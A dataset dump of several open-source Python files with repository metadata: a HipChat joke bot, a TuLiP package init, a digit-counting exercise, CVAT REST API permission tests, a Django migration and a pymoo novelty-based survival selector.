xEoDx/eodbot

933d9c1c9c836a5a6091a26bfd4d7eb98f932595

[ "Apache-2.0" ]

5

2020-03-04T21:39:32.000Z

2021-12-09T19:43:28.000Z

client/hipchat/HipChatMonitor.py

xEoDx/eodbot

933d9c1c9c836a5a6091a26bfd4d7eb98f932595

[ "Apache-2.0" ]

null

from hipchat import HipChatManager import time import configparser _MAX_SLEEP_TIME = 5 _MIN_SLEEP_TIME = 2 _SPAM_EODBOT_URL = 3500 class HipChatMonitor: def __init__(self, eodBotParser): print("Initializing HipChatMonitor with eodBotParser: ",eodBotParser) self.sleepTime = _MIN_SLEEP_TIME self.lastIdChecked = "" self.eodBotParser = eodBotParser config = configparser.ConfigParser() config.read('config.ini') self.bot_id=config['HIPCHAT']['hipchat.bot_id'] self.hipChatManager = HipChatManager.HipChatManager(); self.spamLastEodBotUrlTime = 0 self.hipChatManager.send("[EodBot] I've been initialised! Troll time just started :)") self.hipChatManager.send("[EodBot] Visit http://6dc1e2bd.fbdev.midasplayer.com/ to teach me how to troll") def __adjustInterval(self, failed): if(failed == "true"): if(self.sleepTime < _MAX_SLEEP_TIME): self.sleepTime += 1 else: self.sleepTime = _MIN_SLEEP_TIME def start(self): while 1==1: newestMessage = self.hipChatManager.fetch() if((str(newestMessage["from"]) != "Sassy") and (str(newestMessage["from"]["id"]) != self.bot_id) and (newestMessage["id"] != self.lastIdChecked)): self.lastIdChecked = newestMessage["id"] print("Parsing message: ",newestMessage['message']) messageToSend = self.eodBotParser.parse(newestMessage['message']) if(messageToSend != None): self.hipChatManager.send(messageToSend) self.__adjustInterval("false") else: self.__adjustInterval("true") print("Sleeping for ",self.sleepTime," seconds") time.sleep(self.sleepTime) self.spamLastEodBotUrlTime += 1 if(self.spamLastEodBotUrlTime >= _SPAM_EODBOT_URL): self.hipChatManager.send("[EodBot] Visit http://6dc1e2bd.fbdev.midasplayer.com/ to teach me how to troll") self.spamLastEodBotUrlTime = 0

35.288462

149

0.725886

from hipchat import HipChatManager import time import configparser _MAX_SLEEP_TIME = 5 _MIN_SLEEP_TIME = 2 _SPAM_EODBOT_URL = 3500 class HipChatMonitor: def __init__(self, eodBotParser): print("Initializing HipChatMonitor with eodBotParser: ",eodBotParser) self.sleepTime = _MIN_SLEEP_TIME self.lastIdChecked = "" self.eodBotParser = eodBotParser config = configparser.ConfigParser() config.read('config.ini') self.bot_id=config['HIPCHAT']['hipchat.bot_id'] self.hipChatManager = HipChatManager.HipChatManager(); self.spamLastEodBotUrlTime = 0 self.hipChatManager.send("[EodBot] I've been initialised! Troll time just started :)") self.hipChatManager.send("[EodBot] Visit http://6dc1e2bd.fbdev.midasplayer.com/ to teach me how to troll") def __adjustInterval(self, failed): if(failed == "true"): if(self.sleepTime < _MAX_SLEEP_TIME): self.sleepTime += 1 else: self.sleepTime = _MIN_SLEEP_TIME def start(self): while 1==1: newestMessage = self.hipChatManager.fetch() if((str(newestMessage["from"]) != "Sassy") and (str(newestMessage["from"]["id"]) != self.bot_id) and (newestMessage["id"] != self.lastIdChecked)): self.lastIdChecked = newestMessage["id"] print("Parsing message: ",newestMessage['message']) messageToSend = self.eodBotParser.parse(newestMessage['message']) if(messageToSend != None): self.hipChatManager.send(messageToSend) self.__adjustInterval("false") else: self.__adjustInterval("true") print("Sleeping for ",self.sleepTime," seconds") time.sleep(self.sleepTime) self.spamLastEodBotUrlTime += 1 if(self.spamLastEodBotUrlTime >= _SPAM_EODBOT_URL): self.hipChatManager.send("[EodBot] Visit http://6dc1e2bd.fbdev.midasplayer.com/ to teach me how to troll") self.spamLastEodBotUrlTime = 0

true

f71010536d580e3dc257b139c71119eec3b95907

2,202

py

Python

tulip/transys/__init__.py

miquelramirez/tulip-control

ce54897c242689f45ad33650f157bf1805b35ed6

[ "BSD-3-Clause" ]

1

2020-02-13T14:13:50.000Z

tulip/transys/__init__.py

miquelramirez/tulip-control

ce54897c242689f45ad33650f157bf1805b35ed6

[ "BSD-3-Clause" ]

null

tulip/transys/__init__.py

miquelramirez/tulip-control

ce54897c242689f45ad33650f157bf1805b35ed6

[ "BSD-3-Clause" ]

1

2019-07-09T16:32:39.000Z

# Copyright (c) 2013-2014 by California Institute of Technology # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # 3. Neither the name of the California Institute of Technology nor # the names of its contributors may be used to endorse or promote # products derived from this software without specific prior # written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CALTECH # OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF # USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT # OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF # SUCH DAMAGE. """TuLiP Toolbox Transition System subpackage Suggested abbreviation: >>> from tulip import transys as trs """ from __future__ import absolute_import from .mathset import MathSet, SubSet, PowerSet, TypedDict from .labeled_graphs import prepend_with from .transys import ( KripkeStructure, FiniteTransitionSystem, FTS, LabeledGameGraph, tuple2fts, line_labeled_with, cycle_labeled_with ) from .automata import ( BuchiAutomaton, BA, tuple2ba, RabinAutomaton, DRA, ParityGame ) from .machines import MooreMachine, MealyMachine from .products import OnTheFlyProductAutomaton

38.631579

73

0.781108

from __future__ import absolute_import from .mathset import MathSet, SubSet, PowerSet, TypedDict from .labeled_graphs import prepend_with from .transys import ( KripkeStructure, FiniteTransitionSystem, FTS, LabeledGameGraph, tuple2fts, line_labeled_with, cycle_labeled_with ) from .automata import ( BuchiAutomaton, BA, tuple2ba, RabinAutomaton, DRA, ParityGame ) from .machines import MooreMachine, MealyMachine from .products import OnTheFlyProductAutomaton

true

f71011ebc8324e6ec4b4d16a31c684a403ca6635

325

py

Python

FindNumberswithEvenNumberofDigits.py

eagletusk/pythonPractice

4ac8d8c2f45072407b8f25514a3e54bddcd38a33

[ "MIT" ]

null

FindNumberswithEvenNumberofDigits.py

eagletusk/pythonPractice

4ac8d8c2f45072407b8f25514a3e54bddcd38a33

[ "MIT" ]

null

FindNumberswithEvenNumberofDigits.py

eagletusk/pythonPractice

4ac8d8c2f45072407b8f25514a3e54bddcd38a33

[ "MIT" ]

null

class Solution: def findNumbers(self, nums: List[int]) -> int: bkt =[] for n in nums: count = str(n).count('')-1 print (str(n), count) if count%2 == 0 : bkt.append(count) count =0 count =0 return len(bkt)

27.083333

50

0.412308

class Solution: def findNumbers(self, nums: List[int]) -> int: bkt =[] for n in nums: count = str(n).count('')-1 print (str(n), count) if count%2 == 0 : bkt.append(count) count =0 count =0 return len(bkt)

true

f710122a35afda1f83e03c6f8b0342dcee505738

12,984

py

Python

tests/rest_api/test_jobs.py

campin11/cvat

085ccce1cfb018d4eea2309d3086f4c8909c2cd3

[ "Intel", "MIT" ]

null

tests/rest_api/test_jobs.py

campin11/cvat

085ccce1cfb018d4eea2309d3086f4c8909c2cd3

[ "Intel", "MIT" ]

null

tests/rest_api/test_jobs.py

campin11/cvat

085ccce1cfb018d4eea2309d3086f4c8909c2cd3

[ "Intel", "MIT" ]

null

# Copyright (C) 2021 Intel Corporation # # SPDX-License-Identifier: MIT from http import HTTPStatus from deepdiff import DeepDiff import pytest from .utils.config import get_method, patch_method def get_job_staff(job, tasks, projects): job_staff = [] job_staff.append(job['assignee']) tid = job['task_id'] job_staff.append(tasks[tid]['owner']) job_staff.append(tasks[tid]['assignee']) pid = job['project_id'] if pid: job_staff.append(projects[pid]['owner']) job_staff.append(projects[pid]['assignee']) job_staff = set(u['id'] for u in job_staff if u is not None) return job_staff def filter_jobs(jobs, tasks, org): if org is None: kwargs = {} jobs = jobs.raw elif org == '': kwargs = {'org': ''} jobs = [job for job in jobs if tasks[job['task_id']]['organization'] is None] else: kwargs = {'org_id': org} jobs = [job for job in jobs if tasks[job['task_id']]['organization'] == org] return jobs, kwargs class TestGetJobs: def _test_get_job_200(self, user, jid, data, **kwargs): response = get_method(user, f'jobs/{jid}', **kwargs) assert response.status_code == HTTPStatus.OK assert DeepDiff(data, response.json()) == {} def _test_get_job_403(self, user, jid, **kwargs): response = get_method(user, f'jobs/{jid}', **kwargs) assert response.status_code == HTTPStatus.FORBIDDEN @pytest.mark.parametrize('org', [None, '', 1, 2]) def test_admin_get_job(self, jobs, tasks, org): jobs, kwargs = filter_jobs(jobs, tasks, org) # keep only the reasonable amount of jobs for job in jobs[:8]: self._test_get_job_200('admin2', job['id'], job, **kwargs) @pytest.mark.parametrize('org_id', ['', None, 1, 2]) @pytest.mark.parametrize('groups', [['business'], ['user'], ['worker'], []]) def test_non_admin_get_job(self, org_id, groups, users, jobs, tasks, projects, org_staff): # keep the reasonable amount of users and jobs users = [u for u in users if u['groups'] == groups][:4] jobs, kwargs = filter_jobs(jobs, tasks, org_id) org_staff = org_staff(org_id) for job in jobs[:8]: job_staff = get_job_staff(job, tasks, projects) # check if the specific user in job_staff to see the job for user in users: if user['id'] in job_staff | org_staff: self._test_get_job_200(user['username'], job['id'], job, **kwargs) else: self._test_get_job_403(user['username'], job['id'], **kwargs) class TestListJobs: def _test_list_jobs_200(self, user, data, **kwargs): response = get_method(user, 'jobs', **kwargs, page_size=all) assert response.status_code == HTTPStatus.OK assert DeepDiff(data, response.json()['results']) == {} def _test_list_jobs_403(self, user, **kwargs): response = get_method(user, 'jobs', **kwargs) assert response.status_code == HTTPStatus.FORBIDDEN @pytest.mark.parametrize('org', [None, '', 1, 2]) def test_admin_list_jobs(self, jobs, tasks, org): jobs, kwargs = filter_jobs(jobs, tasks, org) self._test_list_jobs_200('admin1', jobs, **kwargs) @pytest.mark.parametrize('org_id', ['', None, 1, 2]) @pytest.mark.parametrize('groups', [['business'], ['user'], ['worker'], []]) def test_non_admin_list_jobs(self, org_id, groups, users, jobs, tasks, projects, org_staff, is_org_member): users = [u for u in users if u['groups'] == groups][:2] jobs, kwargs = filter_jobs(jobs, tasks, org_id) org_staff = org_staff(org_id) for user in users: user_jobs = [] for job in jobs: job_staff = get_job_staff(job, tasks, projects) if user['id'] in job_staff | org_staff: user_jobs.append(job) if is_org_member(user['id'], org_id): self._test_list_jobs_200(user['username'], user_jobs, **kwargs) else: self._test_list_jobs_403(user['username'], **kwargs) class TestGetAnnotations: def _test_get_job_annotations_200(self, user, jid, data, **kwargs): response = get_method(user, f'jobs/{jid}/annotations', **kwargs) assert response.status_code == HTTPStatus.OK assert DeepDiff(data, response.json(), exclude_paths="root['version']") == {} def _test_get_job_annotations_403(self, user, jid, **kwargs): response = get_method(user, f'jobs/{jid}/annotations', **kwargs) assert response.status_code == HTTPStatus.FORBIDDEN @pytest.mark.parametrize('org', ['']) @pytest.mark.parametrize('groups, job_staff, is_allow', [ (['admin'], True, True), (['admin'], False, True), (['business'], True, True), (['business'], False, False), (['worker'], True, True), (['worker'], False, False), (['user'], True, True), (['user'], False, False) ]) def test_user_get_job_annotations(self, org, groups, job_staff, is_allow, users, jobs, tasks, annotations, find_job_staff_user): users = [u for u in users if u['groups'] == groups] jobs, kwargs = filter_jobs(jobs, tasks, org) username, job_id = find_job_staff_user(jobs, users, job_staff) if is_allow: self._test_get_job_annotations_200(username, job_id, annotations['job'][str(job_id)], **kwargs) else: self._test_get_job_annotations_403(username, job_id, **kwargs) @pytest.mark.parametrize('org', [2]) @pytest.mark.parametrize('role, job_staff, is_allow', [ ('owner', True, True), ('owner', False, True), ('maintainer', True, True), ('maintainer', False, True), ('supervisor', True, True), ('supervisor', False, False), ('worker', True, True), ('worker', False, False), ]) def test_member_get_job_annotations(self, org, role, job_staff, is_allow, jobs, tasks, find_job_staff_user, annotations, find_users): users = find_users(org=org, role=role) jobs, kwargs = filter_jobs(jobs, tasks, org) username, jid = find_job_staff_user(jobs, users, job_staff) if is_allow: self._test_get_job_annotations_200(username, jid, annotations['job'][str(jid)], **kwargs) else: self._test_get_job_annotations_403(username, jid, **kwargs) @pytest.mark.parametrize('org', [1]) @pytest.mark.parametrize('privilege, is_allow', [ ('admin', True), ('business', False), ('worker', False), ('user', False) ]) def test_non_member_get_job_annotations(self, org, privilege, is_allow, jobs, tasks, find_job_staff_user, annotations, find_users): users = find_users(privilege=privilege, exclude_org=org) jobs, kwargs = filter_jobs(jobs, tasks, org) username, job_id = find_job_staff_user(jobs, users, False) kwargs = {'org_id': org} if is_allow: self._test_get_job_annotations_200(username, job_id, annotations['job'][str(job_id)], **kwargs) else: self._test_get_job_annotations_403(username, job_id, **kwargs) class TestPatchJobAnnotations: _ORG = 2 def _test_check_respone(self, is_allow, response, data=None): if is_allow: assert response.status_code == HTTPStatus.OK assert DeepDiff(data, response.json(), exclude_paths="root['version']") == {} else: assert response.status_code == HTTPStatus.FORBIDDEN @pytest.fixture(scope='class') def request_data(self, annotations): def get_data(jid): data = annotations['job'][str(jid)].copy() data['shapes'][0].update({'points': [2.0, 3.0, 4.0, 5.0, 6.0, 7.0]}) data['version'] += 1 return data return get_data @pytest.mark.parametrize('org', [2]) @pytest.mark.parametrize('role, job_staff, is_allow', [ ('maintainer', False, True), ('owner', False, True), ('supervisor', False, False), ('worker', False, False), ('maintainer', True, True), ('owner', True, True), ('supervisor', True, True), ('worker', True, True) ]) def test_member_update_job_annotations(self, org, role, job_staff, is_allow, find_job_staff_user, find_users, request_data, jobs_by_org, filter_jobs_with_shapes): users = find_users(role=role, org=org) jobs = jobs_by_org[org] filtered_jobs = filter_jobs_with_shapes(jobs) username, jid = find_job_staff_user(filtered_jobs, users, job_staff) data = request_data(jid) response = patch_method(username, f'jobs/{jid}/annotations', data, org_id=org, action='update') self._test_check_respone(is_allow, response, data) @pytest.mark.parametrize('org', [2]) @pytest.mark.parametrize('privilege, is_allow', [ ('admin', True), ('business', False), ('worker', False), ('user', False) ]) def test_non_member_update_job_annotations(self, org, privilege, is_allow, find_job_staff_user, find_users, request_data, jobs_by_org, filter_jobs_with_shapes): users = find_users(privilege=privilege, exclude_org=org) jobs = jobs_by_org[org] filtered_jobs = filter_jobs_with_shapes(jobs) username, jid = find_job_staff_user(filtered_jobs, users, False) data = request_data(jid) response = patch_method(username, f'jobs/{jid}/annotations', data, org_id=org, action='update') self._test_check_respone(is_allow, response, data) @pytest.mark.parametrize('org', ['']) @pytest.mark.parametrize('privilege, job_staff, is_allow', [ ('admin', True, True), ('admin', False, True), ('business', True, True), ('business', False, False), ('worker', True, True), ('worker', False, False), ('user', True, True), ('user', False, False) ]) def test_user_update_job_annotations(self, org, privilege, job_staff, is_allow, find_job_staff_user, find_users, request_data, jobs_by_org, filter_jobs_with_shapes): users = find_users(privilege=privilege) jobs = jobs_by_org[org] filtered_jobs = filter_jobs_with_shapes(jobs) username, jid = find_job_staff_user(filtered_jobs, users, job_staff) data = request_data(jid) response = patch_method(username, f'jobs/{jid}/annotations', data, org_id=org, action='update') self._test_check_respone(is_allow, response, data) class TestPatchJob: _ORG = 2 @pytest.fixture(scope='class') def find_task_staff_user(self, is_task_staff): def find(jobs, users, is_staff): for job in jobs: for user in users: if is_staff == is_task_staff(user['id'], job['task_id']): return user, job['id'] return None, None return find @pytest.fixture(scope='class') def expected_data(self, jobs, users): keys = ['url', 'id', 'username', 'first_name', 'last_name'] def find(job_id, assignee_id): data = jobs[job_id].copy() data['assignee'] = dict(filter(lambda a: a[0] in keys, users[assignee_id].items())) return data return find @pytest.fixture(scope='class') def new_assignee(self, jobs, tasks, assignee_id, org_staff): def find_new_assignee(jid, user_id): members = org_staff(tasks[jobs[jid]['task_id']]['organization']) members -= {assignee_id(jobs[jid]), user_id} return members.pop() return find_new_assignee @pytest.mark.parametrize('org', [2]) @pytest.mark.parametrize('role, task_staff, is_allow', [ ('maintainer', False, True), ('owner', False, True), ('supervisor', False, False), ('worker', False, False), ('maintainer', True, True), ('owner', True, True), ('supervisor', True, True), ('worker', True, True) ]) def test_member_update_job_assignee(self, org, role, task_staff, is_allow, find_task_staff_user, find_users, jobs_by_org, new_assignee, expected_data): users, jobs = find_users(role=role, org=org), jobs_by_org[org] user, jid = find_task_staff_user(jobs, users, task_staff) assignee = new_assignee(jid, user['id']) response = patch_method(user['username'], f'jobs/{jid}', {'assignee': assignee}, org_id=self._ORG) if is_allow: assert response.status_code == HTTPStatus.OK assert DeepDiff(expected_data(jid, assignee), response.json()) == {} else: assert response.status_code == HTTPStatus.FORBIDDEN

41.883871

97

0.614911

from http import HTTPStatus from deepdiff import DeepDiff import pytest from .utils.config import get_method, patch_method def get_job_staff(job, tasks, projects): job_staff = [] job_staff.append(job['assignee']) tid = job['task_id'] job_staff.append(tasks[tid]['owner']) job_staff.append(tasks[tid]['assignee']) pid = job['project_id'] if pid: job_staff.append(projects[pid]['owner']) job_staff.append(projects[pid]['assignee']) job_staff = set(u['id'] for u in job_staff if u is not None) return job_staff def filter_jobs(jobs, tasks, org): if org is None: kwargs = {} jobs = jobs.raw elif org == '': kwargs = {'org': ''} jobs = [job for job in jobs if tasks[job['task_id']]['organization'] is None] else: kwargs = {'org_id': org} jobs = [job for job in jobs if tasks[job['task_id']]['organization'] == org] return jobs, kwargs class TestGetJobs: def _test_get_job_200(self, user, jid, data, **kwargs): response = get_method(user, f'jobs/{jid}', **kwargs) assert response.status_code == HTTPStatus.OK assert DeepDiff(data, response.json()) == {} def _test_get_job_403(self, user, jid, **kwargs): response = get_method(user, f'jobs/{jid}', **kwargs) assert response.status_code == HTTPStatus.FORBIDDEN @pytest.mark.parametrize('org', [None, '', 1, 2]) def test_admin_get_job(self, jobs, tasks, org): jobs, kwargs = filter_jobs(jobs, tasks, org) for job in jobs[:8]: self._test_get_job_200('admin2', job['id'], job, **kwargs) @pytest.mark.parametrize('org_id', ['', None, 1, 2]) @pytest.mark.parametrize('groups', [['business'], ['user'], ['worker'], []]) def test_non_admin_get_job(self, org_id, groups, users, jobs, tasks, projects, org_staff): users = [u for u in users if u['groups'] == groups][:4] jobs, kwargs = filter_jobs(jobs, tasks, org_id) org_staff = org_staff(org_id) for job in jobs[:8]: job_staff = get_job_staff(job, tasks, projects) for user in users: if user['id'] in job_staff | org_staff: self._test_get_job_200(user['username'], job['id'], job, **kwargs) else: self._test_get_job_403(user['username'], job['id'], **kwargs) class TestListJobs: def _test_list_jobs_200(self, user, data, **kwargs): response = get_method(user, 'jobs', **kwargs, page_size=all) assert response.status_code == HTTPStatus.OK assert DeepDiff(data, response.json()['results']) == {} def _test_list_jobs_403(self, user, **kwargs): response = get_method(user, 'jobs', **kwargs) assert response.status_code == HTTPStatus.FORBIDDEN @pytest.mark.parametrize('org', [None, '', 1, 2]) def test_admin_list_jobs(self, jobs, tasks, org): jobs, kwargs = filter_jobs(jobs, tasks, org) self._test_list_jobs_200('admin1', jobs, **kwargs) @pytest.mark.parametrize('org_id', ['', None, 1, 2]) @pytest.mark.parametrize('groups', [['business'], ['user'], ['worker'], []]) def test_non_admin_list_jobs(self, org_id, groups, users, jobs, tasks, projects, org_staff, is_org_member): users = [u for u in users if u['groups'] == groups][:2] jobs, kwargs = filter_jobs(jobs, tasks, org_id) org_staff = org_staff(org_id) for user in users: user_jobs = [] for job in jobs: job_staff = get_job_staff(job, tasks, projects) if user['id'] in job_staff | org_staff: user_jobs.append(job) if is_org_member(user['id'], org_id): self._test_list_jobs_200(user['username'], user_jobs, **kwargs) else: self._test_list_jobs_403(user['username'], **kwargs) class TestGetAnnotations: def _test_get_job_annotations_200(self, user, jid, data, **kwargs): response = get_method(user, f'jobs/{jid}/annotations', **kwargs) assert response.status_code == HTTPStatus.OK assert DeepDiff(data, response.json(), exclude_paths="root['version']") == {} def _test_get_job_annotations_403(self, user, jid, **kwargs): response = get_method(user, f'jobs/{jid}/annotations', **kwargs) assert response.status_code == HTTPStatus.FORBIDDEN @pytest.mark.parametrize('org', ['']) @pytest.mark.parametrize('groups, job_staff, is_allow', [ (['admin'], True, True), (['admin'], False, True), (['business'], True, True), (['business'], False, False), (['worker'], True, True), (['worker'], False, False), (['user'], True, True), (['user'], False, False) ]) def test_user_get_job_annotations(self, org, groups, job_staff, is_allow, users, jobs, tasks, annotations, find_job_staff_user): users = [u for u in users if u['groups'] == groups] jobs, kwargs = filter_jobs(jobs, tasks, org) username, job_id = find_job_staff_user(jobs, users, job_staff) if is_allow: self._test_get_job_annotations_200(username, job_id, annotations['job'][str(job_id)], **kwargs) else: self._test_get_job_annotations_403(username, job_id, **kwargs) @pytest.mark.parametrize('org', [2]) @pytest.mark.parametrize('role, job_staff, is_allow', [ ('owner', True, True), ('owner', False, True), ('maintainer', True, True), ('maintainer', False, True), ('supervisor', True, True), ('supervisor', False, False), ('worker', True, True), ('worker', False, False), ]) def test_member_get_job_annotations(self, org, role, job_staff, is_allow, jobs, tasks, find_job_staff_user, annotations, find_users): users = find_users(org=org, role=role) jobs, kwargs = filter_jobs(jobs, tasks, org) username, jid = find_job_staff_user(jobs, users, job_staff) if is_allow: self._test_get_job_annotations_200(username, jid, annotations['job'][str(jid)], **kwargs) else: self._test_get_job_annotations_403(username, jid, **kwargs) @pytest.mark.parametrize('org', [1]) @pytest.mark.parametrize('privilege, is_allow', [ ('admin', True), ('business', False), ('worker', False), ('user', False) ]) def test_non_member_get_job_annotations(self, org, privilege, is_allow, jobs, tasks, find_job_staff_user, annotations, find_users): users = find_users(privilege=privilege, exclude_org=org) jobs, kwargs = filter_jobs(jobs, tasks, org) username, job_id = find_job_staff_user(jobs, users, False) kwargs = {'org_id': org} if is_allow: self._test_get_job_annotations_200(username, job_id, annotations['job'][str(job_id)], **kwargs) else: self._test_get_job_annotations_403(username, job_id, **kwargs) class TestPatchJobAnnotations: _ORG = 2 def _test_check_respone(self, is_allow, response, data=None): if is_allow: assert response.status_code == HTTPStatus.OK assert DeepDiff(data, response.json(), exclude_paths="root['version']") == {} else: assert response.status_code == HTTPStatus.FORBIDDEN @pytest.fixture(scope='class') def request_data(self, annotations): def get_data(jid): data = annotations['job'][str(jid)].copy() data['shapes'][0].update({'points': [2.0, 3.0, 4.0, 5.0, 6.0, 7.0]}) data['version'] += 1 return data return get_data @pytest.mark.parametrize('org', [2]) @pytest.mark.parametrize('role, job_staff, is_allow', [ ('maintainer', False, True), ('owner', False, True), ('supervisor', False, False), ('worker', False, False), ('maintainer', True, True), ('owner', True, True), ('supervisor', True, True), ('worker', True, True) ]) def test_member_update_job_annotations(self, org, role, job_staff, is_allow, find_job_staff_user, find_users, request_data, jobs_by_org, filter_jobs_with_shapes): users = find_users(role=role, org=org) jobs = jobs_by_org[org] filtered_jobs = filter_jobs_with_shapes(jobs) username, jid = find_job_staff_user(filtered_jobs, users, job_staff) data = request_data(jid) response = patch_method(username, f'jobs/{jid}/annotations', data, org_id=org, action='update') self._test_check_respone(is_allow, response, data) @pytest.mark.parametrize('org', [2]) @pytest.mark.parametrize('privilege, is_allow', [ ('admin', True), ('business', False), ('worker', False), ('user', False) ]) def test_non_member_update_job_annotations(self, org, privilege, is_allow, find_job_staff_user, find_users, request_data, jobs_by_org, filter_jobs_with_shapes): users = find_users(privilege=privilege, exclude_org=org) jobs = jobs_by_org[org] filtered_jobs = filter_jobs_with_shapes(jobs) username, jid = find_job_staff_user(filtered_jobs, users, False) data = request_data(jid) response = patch_method(username, f'jobs/{jid}/annotations', data, org_id=org, action='update') self._test_check_respone(is_allow, response, data) @pytest.mark.parametrize('org', ['']) @pytest.mark.parametrize('privilege, job_staff, is_allow', [ ('admin', True, True), ('admin', False, True), ('business', True, True), ('business', False, False), ('worker', True, True), ('worker', False, False), ('user', True, True), ('user', False, False) ]) def test_user_update_job_annotations(self, org, privilege, job_staff, is_allow, find_job_staff_user, find_users, request_data, jobs_by_org, filter_jobs_with_shapes): users = find_users(privilege=privilege) jobs = jobs_by_org[org] filtered_jobs = filter_jobs_with_shapes(jobs) username, jid = find_job_staff_user(filtered_jobs, users, job_staff) data = request_data(jid) response = patch_method(username, f'jobs/{jid}/annotations', data, org_id=org, action='update') self._test_check_respone(is_allow, response, data) class TestPatchJob: _ORG = 2 @pytest.fixture(scope='class') def find_task_staff_user(self, is_task_staff): def find(jobs, users, is_staff): for job in jobs: for user in users: if is_staff == is_task_staff(user['id'], job['task_id']): return user, job['id'] return None, None return find @pytest.fixture(scope='class') def expected_data(self, jobs, users): keys = ['url', 'id', 'username', 'first_name', 'last_name'] def find(job_id, assignee_id): data = jobs[job_id].copy() data['assignee'] = dict(filter(lambda a: a[0] in keys, users[assignee_id].items())) return data return find @pytest.fixture(scope='class') def new_assignee(self, jobs, tasks, assignee_id, org_staff): def find_new_assignee(jid, user_id): members = org_staff(tasks[jobs[jid]['task_id']]['organization']) members -= {assignee_id(jobs[jid]), user_id} return members.pop() return find_new_assignee @pytest.mark.parametrize('org', [2]) @pytest.mark.parametrize('role, task_staff, is_allow', [ ('maintainer', False, True), ('owner', False, True), ('supervisor', False, False), ('worker', False, False), ('maintainer', True, True), ('owner', True, True), ('supervisor', True, True), ('worker', True, True) ]) def test_member_update_job_assignee(self, org, role, task_staff, is_allow, find_task_staff_user, find_users, jobs_by_org, new_assignee, expected_data): users, jobs = find_users(role=role, org=org), jobs_by_org[org] user, jid = find_task_staff_user(jobs, users, task_staff) assignee = new_assignee(jid, user['id']) response = patch_method(user['username'], f'jobs/{jid}', {'assignee': assignee}, org_id=self._ORG) if is_allow: assert response.status_code == HTTPStatus.OK assert DeepDiff(expected_data(jid, assignee), response.json()) == {} else: assert response.status_code == HTTPStatus.FORBIDDEN

true

f71012b82436e5dd37274c5125768f25f6343cca

371

py

Python

polls/migrations/0002_auto_20200211_1555.py

rpesce/django_tutorial

b0a3c10c1246ec42e9c86c03a7b441ff8be1c495

[ "Apache-2.0" ]

11

2020-03-25T16:03:08.000Z

2022-03-19T17:59:43.000Z

polls/migrations/0002_auto_20200211_1555.py

rpesce/django_tutorial

b0a3c10c1246ec42e9c86c03a7b441ff8be1c495

[ "Apache-2.0" ]

null

polls/migrations/0002_auto_20200211_1555.py

rpesce/django_tutorial

b0a3c10c1246ec42e9c86c03a7b441ff8be1c495

[ "Apache-2.0" ]

3

2020-08-18T03:34:59.000Z

2022-03-21T13:44:45.000Z

# Generated by Django 3.0.3 on 2020-02-11 20:55 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('polls', '0001_initial'), ] operations = [ migrations.AlterField( model_name='choice', name='votes', field=models.IntegerField(default=0), ), ]

19.526316

49

0.58221

from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('polls', '0001_initial'), ] operations = [ migrations.AlterField( model_name='choice', name='votes', field=models.IntegerField(default=0), ), ]

true

f71013d279ee02e1a4eef74c167f62131c79ae29

1,991

py

Python

evosoro_pymoo/Algorithms/RankAndNoveltySurvival.py

leguiart/MSc_Thesis

22ffc73c75d814856850f26c4586d90896b74cf3

[ "MIT" ]

null

evosoro_pymoo/Algorithms/RankAndNoveltySurvival.py

leguiart/MSc_Thesis

22ffc73c75d814856850f26c4586d90896b74cf3

[ "MIT" ]

null

evosoro_pymoo/Algorithms/RankAndNoveltySurvival.py

leguiart/MSc_Thesis

22ffc73c75d814856850f26c4586d90896b74cf3

[ "MIT" ]

null

import numpy as np from pymoo.core.survival import Survival from pymoo.util.nds.non_dominated_sorting import NonDominatedSorting from pymoo.util.randomized_argsort import randomized_argsort # --------------------------------------------------------------------------------------------------------- # Survival Selection # --------------------------------------------------------------------------------------------------------- class RankAndNoveltySurvival(Survival): def __init__(self, nds=None) -> None: super().__init__(filter_infeasible=True) self.nds = nds if nds is not None else NonDominatedSorting() def _do(self, problem, pop, *args, n_survive=None, **kwargs): # get the objective space values and objects F = pop.get("F").astype(float, copy=False) # the final indices of surviving individuals survivors = [] # do the non-dominated sorting until splitting front fronts = self.nds.do(F, n_stop_if_ranked=n_survive) for k, front in enumerate(fronts): # calculate the novelty of the front novelty_of_front = get_unaligned_novelty(pop[front]) # save rank and crowding in the individual class for j, i in enumerate(front): pop[i].set("rank", k) pop[i].set("crowding", novelty_of_front[j]) # current front sorted by crowding distance if splitting if len(survivors) + len(front) > n_survive: I = randomized_argsort(novelty_of_front, order='descending', method='numpy') I = I[:(n_survive - len(survivors))] # otherwise take the whole front unsorted else: I = np.arange(len(front)) # extend the survivors by all or selected individuals survivors.extend(front[I]) return pop[survivors] def get_unaligned_novelty(pop): return np.array([x_i.X.unaligned_novelty_metric for x_i in pop])

35.553571

107

0.57559

